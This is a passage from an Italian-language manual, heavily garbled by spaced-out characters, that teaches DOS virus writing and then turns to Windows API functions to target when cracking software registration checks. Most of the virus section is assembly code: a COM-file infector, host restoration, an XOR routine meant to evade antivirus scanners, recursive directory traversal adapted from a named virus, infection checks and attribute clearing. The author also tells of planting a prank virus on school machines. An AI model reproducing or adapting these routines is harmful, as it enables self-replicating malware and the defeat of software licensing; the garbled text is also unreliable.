t r asf er i sce i l cont r ol l o al l i ni zi o del f i l e ( i n memor i a) .
I l pr ogr amma or i gi nal e ver r esegui t o come se nul l a gl i f osse st at o at t accat o.
Anche i n quest o caso i l codi ce sempl i ce:

MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] - ES:[DI]
MOV DI, 0100h
JMP DI

Quest o codi ce assume che P1 si a al l ocat o appena pr i ma di V2 Thi s code assumes
t hat P1 i s l ocat ed j ust bef or e V2, come i n:

P1_Stored_Here:
.
.
.
V2_Start:

E anche dat o per scont at o che ES si a ugual e a CS.
Se quest o f al so cambi amo i l codi ce r el at i vo.
Quest o un esempi o:

PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB

MOV DI, 0100h
JMP DI

Quest o codi ce pr i ma muove CS i n ES e qui ndi set t a i l punt at or e sor gent e di MOVSB
a dove P1 pi azzat o.
Ri cor dat evi che t ut t o r i f er i t o al l a i n memor i a dove l ocat o P1 e non
r el at i vo ad un f i l e f i si co.
L of f set di P1 di 100h maggi or e del l a l ocazi one del f i l e f i si co i l qual e, come
un . COM, l et t o par t endo dal l a l ocazi one 100h ( CS: 100h) .
Quest o un r i assunt o del l e par t i del vi r us e del l e et i chet t e :

V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:

P2_Start:
P2_End:

P1_Start:
; First part of the program stored here for future use
P1_End:

V2_Start:
; Real Stuff
V2_End:

V1_Length EQU V1_End - V1_Start

Al t er nat i vament e pot et e sal var e P1 i n V2 come segue:

V2_Start:

P1_Start:
P1_End:

V2_End:

Quest o quant o si deve f ar e per i nf et t ar e un f i l e senza di st r ugger l o.
I f i l e . EXE essendo segment at i e qui ndi con header s di t est a e al t r e cosi ne,
sono un p pi compl essi .
Tor ni amo i ndi et r o al l a par t e del r epl i cat or e.
I passi sono i seguent i :

1) Trovare il file
2) Testare se da infettare
3) Infettarlo
4) Se infettato sufficientemente STOP
5) Altrimenti ritorna a 1

Dopo aver t r ovat o i l f i l e l o si apr e, si l eggono i pr i mi byt es e si cont r ol l a se
cor r i spondono ai pr i mi di V1.
Se esi st e quest a cor r i spondenza al l or a si gni f i ca che i l f i l e gi i nf et t at o.
E i mpor t ant e che non venga i nt f et t at o nuvament e l o st esso f i l e.
Quest o dat o dal f at t o che i n gener e un par t e del codi ce vi ene aggi unt a al f i l e
per cui se si cont i nuasse a cont r ol l ar e i l f i l e e se si cont i nuasse ad
aggi unger e i n coda i l r est o . . . .
Se i l f i l e non i nf et t at o :

1) Cambiate gli attributi del file a NULL (resettateli).
2) Salvate la data e il tempo del file.
3) Chiudetelo
4) Apritelo in modo READ/WRITE
5) Salvate P1 e appendetelo alloa fine del file
6) Copiate V1 allinizio ma cambiate loffset a cui salta per trasferirgli il
controllo in modo corretto. Guardate la parte di codice precedente.
7) Appendete V2 alla fine del file
8) Eseguite il restore dei file attributes/date/time.

Tr a l e al t r e cose, del l e qual i abbi amo gi vi st o qul che cosa, ci sono :
Una voce da aggi unger e l a seguent e.

Cancellazione delle tracce

Quest o vi ene def i ni t o i n ger go ( i n i ngl ese) CONCEALER ed quel l a par t e che
nasconde al l a vi st a degl i scanner ant i vi r us i l nost r o ospi t e.
I l met odo pi sempl i ce quel l o del codi f i cat or e.
I l codi ce per un sempl i ce codi f i cat or e a XOR :

encrypt_val db ?
decrypt:
encrypt:
mov ah, encrypt_val

mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si

xor_loop:
lodsb ; DS:[SI] - AL
xor al, ah
stosb ; AL - ES:[DI]
loop xor_loop
ret

Not at e che i l codi f i cat or e e i l decodi f i cat or e sono gl i st essi .
Pot et e chi amar e l a pr ocedur a da dovunque nel pr ogr amma ma si at e si cur i di non
chi amar l a da una par t e che deve esser e codi f i cat a se non t ut t o si pi ant er .
Qui ndi scr i vet e i l vi r us, set t at e i l val or e di codi f i ca a 0.
par t _t o_encr ypt _st ar t e par t _t o_encr ypt _end cont engono l ar ea che deve esser e
codi f i cat a.
Usat e una CALL decr ypt al l i ni zi o di V2 per codi f i car e i l f i l e e qui ndi
esegui t e i l pr ogr amma.
Qando si i nf et t a un f i l e, per pr i ma cosa cambi at e i l val or e di encr ypt _val ,
qui ndi esegui t e l a CALL encr ypt , e dopo scr i vet e V2 al l a f i ne del f i l e, e dopo
ancor a esegui t e l a CALL decr ypt .
Ri cor do nuovament e di non esegui r e l a chi amat a da un punt o che deve esser e
codi f i cat o.
Quest o quant o V2 most r a con i l NASCONDI TORE ( conceal er ) :

V2_Start:
Concealer_Start:
.
.
.
Concealer_End:

Replicator_Start:
.
.
.
Replicator_End:

Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:

Al t er nat i vament e pot et e muover e una par t e non codi f i cat a compr essa t r a
Par t _To_Encr ypt _End e V2_End.
La codi f i ca r ende l a vi t a di f f i ci l e agl i scanner .
Essa nasconde anche al cune st r i nghe pr esent i nel vost r o pr ogr amma.
La codi f i ca sol o un met odo per nasconder e i l vi r us ed i nol t r e pot r ebbe
di spor r e di var i ant i .
Un al t r o met odo quel l o di cambi ar e gl i i nt er r upt s i n modo che al cuni r i sul t at i
vengano modi f i cat i e che comunque modi f i chi no i l compor t ament o di cer t i comandi
e ut i l i t i es.
La per t e BOMBA del vi r us ovver o l a par t e che most r a al mondo l a pr opr i a
esi st enza var i a a seconda del l a vost r a f ant asi a.
I o anni f odi avo DB3 per ch per me i pr ogr ammat or i DB3 er ano Mangi at or i di
Ci occor .
Un vi r us anal i zzava gl i i nput e se uno cer cava di i nser i r e l est ensi one DBF ad
un f i l e i l vi r us gl i cambi ava, ment r e l ui scr i veva, una l et t er a del l est ensi one
per cui gl i veni va xxx. DCF, xxxx. DBH e dopo 10 vol t e l o avver t i va che per mot i vi
di or gogl i o i l si st ema si r i f i ut ava di usar e vol gar i f i l es . dbf .
Beh! Pensat e a quant e cose pot r ebber o sor ger e nel l a VOSTRA ( non nel l a mi a) MENTE
MALATA E PERVERSA! !
Una cosa che mi accadut a gr azi e ad un vi r us che ve l a vogl i o r accont ar e l a
seguent e.
Tant i anni f a, nel 1984, i nsegnavo i nf or mat i ca i n un i st i t ut o.
I ni zi ai nel 1984 con i l BASI C e nel 1986 cambi ai l i ndi r i zzo del cor so con i l
LI NGUAGGI O C.
L aul a di l abor at or i o er a i l f i or e al l occhi el l o per gl i i st i t ut i di un t empo
per cui quando veni va una per sonal i t i n vi si t a i l pr esi de l o accompagnava,
or gogl i oso, a veder e quest a cl asse.
I l cor so er a f r equent at o da per sone di ci r ca 23- 24 anni di sesso maschi l e e
f emmi ni l e.
Un anno f u f r quent at o da al cune r agazze NOTEVOLI una del l e qual i f aceva
l i ndossat r i ce di bi ancher i a i nt i ma ( per f ar vi capi r e . . . ) .
Ebbi un i dea geni al e.
Feci un vi r us che una vol t a i nst al l at o a t empi r andomf aceva compar i r e sul vi deo
un i mmagi ne di du4e che si davano DUE COLPETTI e poi spar i vano.
I n pr at i ca t u l avor avi con quel l o che vol evi e di col po
SU. . . GI U. . . SU. . . GI U. . . VI AAA e t ut t o spar i va.
Venne i n vi si t a i l vescovo di una not a ci t t a del l a Si ci l i a e i l pr esi de l o
accompagno a veder e l aul a.
Appena ent r at o si appost o al l e spal l e di una di quest e bel l e r ampol l e e si mi se
ad osser var e i l l avor o che st avano svol gendo, con a f i anco i l pr esi de che er a
t ut t o gonf i o e pavoneggi ant e.
Di col po . . . SU. . . . GI U. . . . SU. . . . GI U , t ant o r api dament e che i l vescovo di sse
sol o : Opps . . . che st at o . . . ho vi st o un nuvol et t a che appar sa e che
subi t o andat a vi a. . . .
I l pr esi de che i nvece aveva avut o i l t empo di capi r e di cosa si t r at t asse passo
dal sor r i so smagl i ant e ad un espr essi one t er r or i zzat a e i l suo cl or e passo t ut t a
l a t avol ozza dei 16 mi l i oni di col or i anche se quel t empo c er a sol o l a CGI con
256 col or i .
Pr ese sot t obr acci o i l vescovo e con una scusa l o por t vi a di l i .
Quando t or no se l a pr ese con t ut t i gl i al unni e devo conf essar e di esser e st at o
super - st r onzo per non aver avut o i l cor aggi o di di r gl i che l o avevo f at t o i o.
Se l o avessi conf essat o sar ei st at o l eal e ma quest o mi o aspet t o di l eal t
sar ebbe st at o sl o r i por t at o sul l a mi a l api de i n qant o non penso che sar ei
soppr avi ssut o al l i mpat t o.
Quest o quel l o che si def i ni sce con i l BOMB di un vi r us ! !
Per BOMB qui ndi si i nt ende quel l o che f a i l vi r i us compar endo ( e magar i quel l a
che vi i nf i l ano i n un or ecchi o per non di r e da qual che al t r a par t e se vi
pescano) .
Quel l a che vi ene def i ni t a come DI STRI BUTI ON quel l al t r a par t e del l a
pr opagazi one del vi r us ovver o quel suppor t o che vol et e usar e per di vul gar l o.
Tut t i quest i vi r us eseguono i l l or o l avor o at t r aver so i l si st ema.
Quest i r endono
Una del l e cose da f ar e i ni zi al ment e l egat a al l a r i cer ca del f i l e da ut i l i zzar e
per l i nser i ment o del codi ce.
I l seguent e pr ogr amma i n assembl er ezsegue l a r i cer ca t r asver sal e nel l e
di r ect or y del si st ema.
I l codi ce una ver si one modi f i cat a del The Funky Bob Ross Vi r us [ Bet a] .

traverse_fcn proc near

push bp ; Create stack frame
mov bp,sp sub sp,44 ; Allocate space for DTA
call infect_directory ; Go to search & destroy routines
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
lea dx,[si+offset dir_mask] ; *.* int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ; else load dirname
mov ah,3Bh ; and changedir there
int 21h
jc short donext ; Do next if invalid
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ; Load space allocated for DTA
mov ah,1Ah ; and set DTA to this new area
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next int 21h
isdirok:
jnc gonow ; If OK, jmp elsewhere
cmp word ptr [si+offset nest], 0 ; If root directory ; (nest == 0)
jle short cleanup ; then Quit
dec word ptr [si+offset nest] ; Else decrement nest
lea dx, [si+offset back_dir] ; '..'
mov ah,3Bh ; Change directory
int 21h ; to previous one
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp

; Variables

nest dw 0
back_dir db '..',0
dir_mask db '*.*',0

La seguent e aggi unt a per met t e di t or nar e i ndi et r o di una di r ect or y ed di
r i pet er e l oper azi one di cont r ol l o nel caso i n cui non si si a t r ovat o i l numer o
vol ut o di pr ogr ammi da usar e come vet t or i del codi ce.

dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h jnc dir_loopy ; Carry set if in root
; Variables
dotdot db '..',0

La f unzi one i nf ect _di r ect or y ut i l i zza i met odi FI NDFI RST e FI NDNEXT per l a
r i cer ca dei f i l es.
Quando vi ene t r ovat o un f i l e bi sogna set t ar e un nuovo DTA e non ut i l i zzar e i l
DTA pr esent e nel PSP dat o che i l pr ogr amma at t i vandol o se ne accor ger ebbe.
La f unzi one del l I NT 21h ( Set DTA) ser ve al l o scopo .

mov ah, 1Ah ; Set DTA
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
int 21h

A quest o punt o si i nzi a con l a pr ocedur a del FI NFI RST e FI NDNEXT.

mov ah, 4Eh ; Find first file
mov cx, 0007h ; Any file attribute
lea dx, [bp+offset file_mask] ; DS:[DX] -- filemask
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Find next file
int 21h
jnc found_another
none_found:

I nvece di cer car e pr i ma i . EXE e dopo i . COM suf f i ci ent e r i cer car e *. * e poi
cont r ol l ar e se l est ensi one una di quel l e vol ut e.

Un si st ema pr udent e cer ca di non i nf et t ar e f i l es che ver r ebber o cont r ol l at i
f aci l ment e come ad esempi o i l COMMAND. COM.
Se si cont r ol l a i pr i mi due byt e e si t r ova ND al l or a i l f i l e appunt o i l
command. com

cmp wor d pt r [ bp+of f set DTA+35] , ' DN' ; Rever se wor d or der
j z f ai l _check

Un al t r a pr ocedur e che i l pr ogr amma dovr at t i var e l egat a al f at t o di dover
cont r ol l ar e se i l f i l e t r ovat o gi st at o i nf et t at o dal pr ogr amma.
Per f ar e quest o nor mal ment e ci si suppor t a su cer t i pezzi di codi ce che sono
pr esent i nel pr ogr amma.

mov ah, 3Fh ; Read f i r st t hr ee
mov cx, 3 ; byt es of t he f i l e
l ea dx, [ bp+of f set buf f er ] ; t o t he buf f er
i nt 21h
mov ax, 4202h ; SEEK f r omEOF
xor cx, cx ; DX: CX = of f set
xor dx, dx ; Ret ur ns f i l esi ze
i nt 21h ; i n DX: AX
sub ax, vi r us_si ze + 3
cmp wor d pt r [ bp+of f set buf f er +1] , ax
j nz i nf ect _i t

bomb_out :

mov ah, 3Eh ; el se cl ose t he f i l e
i nt 21h ; and go f i nd anot her


I n quest o esempi o si suppone che BX cont enga l handl e del f i l e e che vi r us_si ze
si a l a di mensi one del vi r us.
I n pr at i ca vengono l et t i i pr i mi t r e byt es e dopo i l cont r ol l o vi ene esegui t o un
sal t o.

mov ah, 3Fh ; Read t he f i r st f our
mov cx, 4 ; byt es of t he f i l e i nt o
l ea dx, [ bp+of f set buf f er ] ; t he buf f er .
i nt 21h
cmp byt e pt r [ buf f er +3] , i nf ect i on_i d_byt e ; Check t he f our t h
j z bomb_out ; byt e f or t he mar ker

i nf ect _i t :

La par t e f ondament al e del pr ogr amma i l r epl i cat or e.
Dopo aver t r ovat o un f i l e i doneo necessar i o sal var e gl i at t r i but i di quest o
come dat a, or a e di mensi oni per un uso successi vo.
I l seguent e uno spaccat o del DTA.

Of f set Si ze What i t i s
0h 21 BYTES Reser ved, var i es as per DOS ver si on
15h BYTE Fi l e at t r i but e
16h WORD Fi l e t i me
18h WORD Fi l e dat e
1Ah DWORD Fi l e si ze
1Eh 13 BYTES ASCI I Z f i l ename + ext ensi on
I l seguent e codi ce sal va l e i nf or mazi oni dal DTA.

l ea si , [ bp+of f set DTA+15h] ; St ar t f r omat t r i but es
mov cx, 9 ; Fi ni sh wi t h si ze
l ea di , [ bp+of f set f _at t r ] ; Move i nt o your l ocat i ons
r ep movsb

; Var i abl es needed

f _at t r db ?
f _t i me dw ?
f _dat e dw ?
f _si ze dd ?

Or a possi bi l e cambi ar e gl i at t r i but i t r ami t e I NT 21h/ Funct i on 43h/ Subf unct i on
01h.
Quest o per per met t er e l i nf ezi one di f i l e nascost i , di si st ema e r ead onl y.

l ea dx, [ bp+of f set DTA+1eh] ; DX poi nt s t o f i l ename i n
mov ax, 4301h ; DTA
xor cx, cx ; Cl ear f i l e at t r i but es
i nt 21h ; I ssue t he cal l

A quest o punt o possi bi l e apr i r e i l f i l e e usar e l handl e per l et t ur a e
scr i t t ur a.

l ea dx, [ bp+of f set DTA+1eh] ; Use f i l ename i n DTA
mov ax, 3d02h ; Open r ead/ wr i t e mode
i nt 21h ; duh.
xchg ax, bx ; Handl e i s mor e usef ul i n
; BX

Ed or a i l codi ce per cui si l avor at o f i no ad or a ovver o quel l o per i nf et t ar e.
Quel l o che segue r i guar da i f i l es . COM

; Sampl e COM i nf ect or . Assumes BX hol ds t he f i l e handl e
; Assume COM f i l e passes i nf ect i on cr i t er i a and not al r eady i nf ect ed

mov ah, 3f h
l ea dx, [ bp+buf f er 1]
mov cx, 3
i nt 21h
mov ax, 4200h ; Move f i l e poi nt er t o
xor cx, cx ; t he begi nni ng of t he
xor dx, dx ; f i l e
i nt 21h
mov byt e pt r [ bp+buf f er 2] , 0e9h ; J MP
mov ax, wor d pt r [ bp+f _si ze]
sub ax, par t 1_si ze ; Usual l y 3
mov wor d pt r [ bp+buf f er 2+1] , ax ; of f set of J MP

; Encode J MP i nst r uct i on t o r epl ace begi nni ng of t he f i l e

mov byt e pt r [ bp+buf f er 2] , 0e9h ; J MP
mov ax, wor d pt r [ bp+f _si ze]
sub ax, par t 1_si ze ; Usual l y 3
mov wor d pt r [ bp+buf f er 2+1] , ax ; of f set of J MP

; Wr i t e t he J MP i nst r uct i on t o t he begi nni ng of t he f i l e

mov ah, 40h ; Wr i t e CX byt es t o
mov cx, 3 ; handl e i n BX f r om
l ea dx, [ bp+buf f er 2] ; buf f er - DS: [ DX]
i nt 21h
mov ax, 4202h ; Move f i l e poi nt er t o
xor cx, cx ; end of f i l e
xor dx, dx
i nt 21h
mov ah, 40h ; Wr i t e CX byt es
mov cx, endof vi r us - st ar t of par t 2 ; Ef f ect i ve si ze of vi r us
l ea dx, [ bp+st ar t of par t 2] ; Begi n wr i t e at st ar t
i nt 21h ; Var i abl es buf f er 1

db 3 dup ( ?) ; Saved byt es f r omt he
; i nf ect ed f i l e t o r est or e
; l at er buf f er 2
db 3 dup ( ?) ; Temp buf f er

Per i . EXE bi sogna pr i ma veder e un at t i mo di t eor i a.
Quel l o che segue l header di un f i l e . EXE

Ofs Name Size Comments
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
sono quelli cambiati dal virus

Per capi r e i l t ut t o bi sogna pensar e che i l f i l e . EXE st r ut t ur at o i n segment i .
Quest i segment i possono i ni zi ar e e f i ni r e ovunque.
Quel l o che bi sogna f ar e at t accar e i l codi ce al l a f i ne.

API DI WINDOWS.

La pr esent e par t e non vuol e esser e un manual e compl et o del l e API di Wi ndows
vi st o i l numer o r agguar devol e e qui ndi l o spazi o che occuper ebber o i n numer o di
pagi ne.
I nol t r e non l o scopo di quest o vol ume i nsegnar e l a pr ogr ammazi one i n ambi ent e
Wi ndows ma sol o quel l o di i ndi car e qual i f unzi oni pot r ebber o esser e quel l e
ut i l i zzat e, e qui ndi da i nt er cet t ar e, nel caso di pr ot ezi oni .
Abbi amo vi st o pr i ma che al cune vol t e f unzi oni come Get Dl gI t emText ,
Get Dl gI t emI nt , Get Wi ndowText ecc. er ano quel l e r i cer cat e al f i ne di compr ender e
dove si t r ovavano l e r out i nes che esegui vano l e r i chi est e del l e st r i nghe
r el at i ve ai codi ci .
Al t r e vol t e i l codi ce r el at i vo al l e f unzi oni di gest i one del l e ser i al i zzazi oni
sono pi compl esse, per vol er e dei pr oget t i st i , per cui l i ndi vi duazi one dei
modul i ver i e pr opr i r i sul t a esser e pi compl essa, r aggi ungi bi l e sol t ant o
medi ant e l a r i cer ca di al t r e f unzi oni come ad esempi o quel l e che l eggono e
scr i vono i nf or mazi oni dent r o al f i l e di r egi st r o.
Avr et e not at o che al cune vol t e car i cando dei pr ogr ammi per l a pr i ma vol t a vi
veni va r i chi est o i l numer o di ser i e.
Se per qual che mot i vo vi capi t ava di dover el i mi nar e dal di sco quel pr ogr amma e
poi r i nser i r l o avr et e not at o che i codi ci di at t i vazi one non vi veni vano pi
r i chi est i .
Le i nf or mazi oni i nser i t e l a pr i ma vol t a si cur ament e veni vano sal vat e da qual che
par t e e pr eci sament e nel f i l e di r egi st r o.
Le f unzi oni che eseguono f unzi onal i t su quest o possono esser e dei buoni
obbi et t i vi per i dent i f i car e cer t i modul i .
Nel l e seguent i pagi ne r i por t o un el enco del l e f unzi oni API pi f aci l ment e
ut i l i zzat e nei modul i di cui st i amo par l ando.
Come al sol i t o l e i nf or mazi oni pr ovengono da f i l es f r eewar e t r ovat i su I nt er net .
Come ho det t o al l i ni zi o non si t r at t a di t ut t e l e f unzi oni ma sol o di quel l e
che pot r ebber o esser e ut i l i zzat e nei modul i di r egi st r azi one.
Le f unzi oni spesso sono l e pi svar i at e.
Al cune vol t e ad esempi o vi ene r i chi est o che l i nst al l azi one avvenga dal CD per
cui l e API pot r ebber o esser e quel l e l egat e al cont r ol l o dei di schi qual i
Get Dr i veTypeA oppur e Get Vol umeI nf or mat i on.
Al t r e vol t e pot r ebber o esser e f unzi oni l egat e al l a l et t ur a di campi come ad
esempi o Get Dl gI t emText A ecc.
I nsomma.
Le f unzi oni el encat e sono quel l e maggi or ment e ut i l i zzat e per i nost r i obi et t i vi .
Ri cor dat evi che quest e API vengono i mpor t at e dal pr ogr amma e a ci ascuna gl i
vi ene assegnat o un i ndi r i zzo.
Sof t I ce o Wdasm vi most r ano i n f or ma si mbol i ca i nomi per cui l e r i cer che
avvengono per nome ver o e pr opr i o.
Gl i ar goment i pot r et e r i cavar l i dal l e i nf or mazi oni r i por t at e.
Di ment i cavo che spesso possi amo r i cer car e l e cl assi che f unzi oni di l i br er i a del
C dest i nat e al l a mani pol azi one di st r i nghe come ad esempi o _l st r cmp o _l st r l en.
Quest e possono esser e usat e per compar ar e due st r i nghe, per val ut ar e l a
l unghezza ecc.
C anche da t ener e sempr e pr esent e che l e f unzi oni sono anche r el at i ve al
l i nguaggi o usat o per l a cr eazi one del l e pr ocedur e di t i mel ock.
Al cune vol t e i l pr ogr ammat or e che ha scr i t t o i l pr ogr amma ha i deat o ed
i mpl ement at o anche l e r out i ne di ser i al i zzazi one.
I n quest o caso si cur ament e l e f unzi oni usat e i n t al i r out i ne sono nel l o st esso
l i nguaggi o del r est o del pr ogr amma.
Esi st ono sof t war e commer ci al i che per met t ono l aggi unt a di r out i ne per l a
gest i one dei demo i n f i l e esegui bi l i .
Pr ogr ammi ser i come quel l i di Symant ec, Macr omedi a ecc. usano pr ogr ammi
commer ci al i per l e l or o ver si oni demo.
Quest i sono casi a par t e i n quant o essendo f at t i su mi sur a per quest e f unzi oni
ut i l i zzano met odi mol t o pr of essi onal i l egat i ad al gor i t mi di cr i t t ogr af i a ecc.
Se l e f unzi oni di ser i al i zzazi one sono scr i t t e nel l o st esso l i nguaggi o del
pr ogr amma al l or a si t r at t er di i dent i f i car e qual e i n quant o l e f unzi oni da
cer car e sar anno r el at i ve a quest o.
Supponi amo di cer car e l a f unzi one che f a compar i r e una di al og che avvi sa che i l
codi ce er r at o di un pr ogr amma scr i t t o i n C.
I n quest o caso, l o abbi amo gi vi st o, dovr emmo cer car e una MessageBox.
Se i l pr ogr amma scr i t t o i n Del phi al l or a i l nome del l a f unzi one pot r ebbe
esser e ShowMessage( ) o MessageDl g( ) .
Se i l i nguaggi si suppor t ano sul l e DLL di Wi ndows al l a f i ne ut i l i zzer anno l e
seguent i API .
I nf at t i possi bi l e veder e l e f unzi oni i mpor t at e dei var i RUNTI ME ( di
vi sual basi c, del phi ecc. )
I l seguent e spezzone di l i st a most r a al cune f unzi oni i mpor t at e da Vi sual Basi c:

I mpor t ed f unct i ons : c: \ Wi ndows\ VBRUN300.DLL
============================================
GDI 1 SETBKCOLOR
GDI 2 SETBKMODE
GDI 3 SETMAPMODE
GDI 4 SETROP2
GDI 7 SETSTRETCHBLTMODE
GDI 9 SETTEXTCOLOR
GDI 11 SETWI NDOWORG
GDI 13 SETVI EWPORTORG
GDI 14 SETVI EWPORTEXT
GDI 15 OFFSETWI NDOWORG
GDI 19 LI NETO
GDI 20 MOVETO
GDI 21 EXCLUDECLI PRECT
GDI 22 I NTERSECTCLI PRECT
GDI 23 ARC
GDI 24 ELLI PSE
GDI 26 PI E
GDI 27 RECTANGLE
GDI 28 ROUNDRECT
GDI 29 PATBLT
GDI 30 SAVEDC
GDI 34 BI TBLT
GDI 35 STRETCHBLT
GDI 38 ESCAPE
GDI 39 RESTOREDC
GDI 45 SELECTOBJ ECT
GDI 47 COMBI NERGN
GDI 48 CREATEBI TMAP
GDI 50 CREATEBRUSHI NDI RECT
GDI 51 CREATECOMPATI BLEBI TMAP
GDI 52 CREATECOMPATI BLEDC
GDI 53 CREATEDC
GDI 57 CREATEFONTI NDI RECT
GDI 58 CREATEHATCHBRUSH
GDI 61 CREATEPEN
GDI 62 CREATEPENI NDI RECT
GDI 64 CREATERECTRGN
GDI 66 CREATESOLI DBRUSH
GDI 68 DELETEDC
GDI 69 DELETEOBJ ECT
GDI 70 ENUMFONTS
GDI 74 GETBI TMAPBI TS
GDI 75 GETBKCOLOR
GDI 77 GETCLI PBOX
GDI 80 GETDEVI CECAPS
GDI 82 GETOBJ ECT
GDI 83 GETPI XEL
GDI 85 GETROP2
GDI 87 GETSTOCKOBJ ECT
GDI 91 GETTEXTEXTENT
GDI 92 GETTEXTFACE
GDI 93 GETTEXTMETRI CS
GDI 97 GETWI NDOWORG
GDI 106 SETBI TMAPBI TS
GDI 127 DELETEMETAFI LE
GDI 148 SETBRUSHORG
GDI 150 UNREALI ZEOBJ ECT
GDI 151 COPYMETAFI LE
GDI 153 CREATEI C
GDI 154 GETNEARESTCOLOR
GDI 159 GETMETAFI LEBI TS
GDI 160 SETMETAFI LEBI TS
GDI 172 SETRECTRGN
GDI 175 ENUMMETAFI LE
GDI 176 PLAYMETAFI LERECORD
GDI 351 EXTTEXTOUT
GDI 360 CREATEPALETTE
GDI 363 GETPALETTEENTRI ES
GDI 439 STRETCHDI BI TS
GDI 440 SETDI BI TS
GDI 441 GETDI BI TS
GDI 442 CREATEDI BI TMAP
KERNEL 1 FATALEXI T
KERNEL 3 GETVERSI ON
KERNEL 4 LOCALI NI T
KERNEL 5 LOCALALLOC
KERNEL 6 LOCALREALLOC
KERNEL 7 LOCALFREE
KERNEL 8 LOCALLOCK
KERNEL 9 LOCALUNLOCK
KERNEL 10 LOCALSI ZE
KERNEL 15 GLOBALALLOC
KERNEL 16 GLOBALREALLOC
KERNEL 17 GLOBALFREE
KERNEL 18 GLOBALLOCK
KERNEL 19 GLOBALUNLOCK
KERNEL 20 GLOBALSI ZE
KERNEL 21 GLOBALHANDLE
KERNEL 22 GLOBALFLAGS
KERNEL 23 LOCKSEGMENT
KERNEL 24 UNLOCKSEGMENT
KERNEL 30 WAI TEVENT
KERNEL 36 GETCURRENTTASK
KERNEL 37 GETCURRENTPDB
KERNEL 46 FREEMODULE
KERNEL 47 GETMODULEHANDLE
KERNEL 49 GETMODULEFI LENAME
KERNEL 50 GETPROCADDRESS
KERNEL 52 FREEPROCI NSTANCE
KERNEL 57 GETPROFI LEI NT
KERNEL 58 GETPROFI LESTRI NG
KERNEL 60 FI NDRESOURCE
KERNEL 62 LOCKRESOURCE
KERNEL 64 ACCESSRESOURCE
KERNEL 65 SI ZEOFRESOURCE
KERNEL 74 OPENFI LE
KERNEL 81 _LCLOSE
KERNEL 82 _LREAD
KERNE 84_LLSEEK


Per mot i vi di spazi o l a l i st a st at a t r oncat a.
Se vol et e r i cost r ui r l e r el at i ve ad ogni RunTi me pot et e usar e ScanBi n sul l e DLL
t i po VBRUN400. DLL ecc.
I l nome pr i ma del numer o e del nome del l a f unzi one l a DLL da cui pr ovi ene.
I t est i sono or i gi nal i i n l i ngua i ngl ese per evi t ar e mi e i nt er pr et azi oni er r at e.

GetDlgItem

The Get Dl gI t em f unct i on r et r i eves t he handl e of a cont r ol i n t he speci f i ed
di al og box.

HWND Get Dl gI t em(
HWND hDl g, / / handl e of di al og box
i nt nI DDl gI t em / / i dent i f i er of cont r ol
) ;

Par amet er s

hDl g

I dent i f i es t he di al og box t hat cont ai ns t he cont r ol .

nI DDl gI t em

Speci f i es t he i dent i f i er of t he cont r ol t o be r et r i eved.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he wi ndow handl e of t he gi ven
cont r ol .
I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL, i ndi cat i ng an i nval i d di al og
box handl e or a nonexi st ent cont r ol .

Remarks

You can use t he Get Dl gI t emf unct i on wi t h any par ent - chi l d wi ndow pai r , not j ust
wi t h di al og boxes. As l ong as t he hDl g par amet er speci f i es a par ent wi ndow and
t he chi l d wi ndow has a uni que i dent i f i er ( as speci f i ed by t he hMenu par amet er i n
t he Cr eat eWi ndow or Cr eat eWi ndowEx f unct i on t hat cr eat ed t he chi l d wi ndow) ,
*Get Dl gI t emr et ur ns a val i d handl e t o t he chi l d wi ndow.

See Al so

Cr eat eWi ndow, Cr eat eWi ndowEx, Get Dl gI t emI nt , Get Dl gI t emText
GetDlgItemInt

The Get Dl gI t emI nt f unct i on t r ansl at es t he t ext of a speci f i ed cont r ol i n a
di al og box i nt o an i nt eger val ue.

UI NT Get Dl gI t emI nt (
HWND hDl g, / / handl e t o di al og box
i nt nI DDl gI t em, / / cont r ol i dent i f i er
BOOL *l pTr ansl at ed, / / poi nt s t o var i abl e t o r ecei ve success/ f ai l ur e i ndi cat or
BOOL bSi gned / / speci f i es whet her val ue i s si gned or unsi gned
) ;

Par amet er s

hDl g

Handl e t o t he di al og box t hat cont ai ns t he cont r ol of i nt er est .

nI DDl gI t em

Di al og i t emi dent i f i er t hat speci f i es t he cont r ol whose t ext i s t o be
t r ansl at ed.

l pTr ansl at ed

Poi nt s t o a Bool ean var i abl e t hat r ecei ves a f unct i on success/ f ai l ur e val ue.
TRUE i ndi cat es success, FALSE i ndi cat es f ai l ur e.

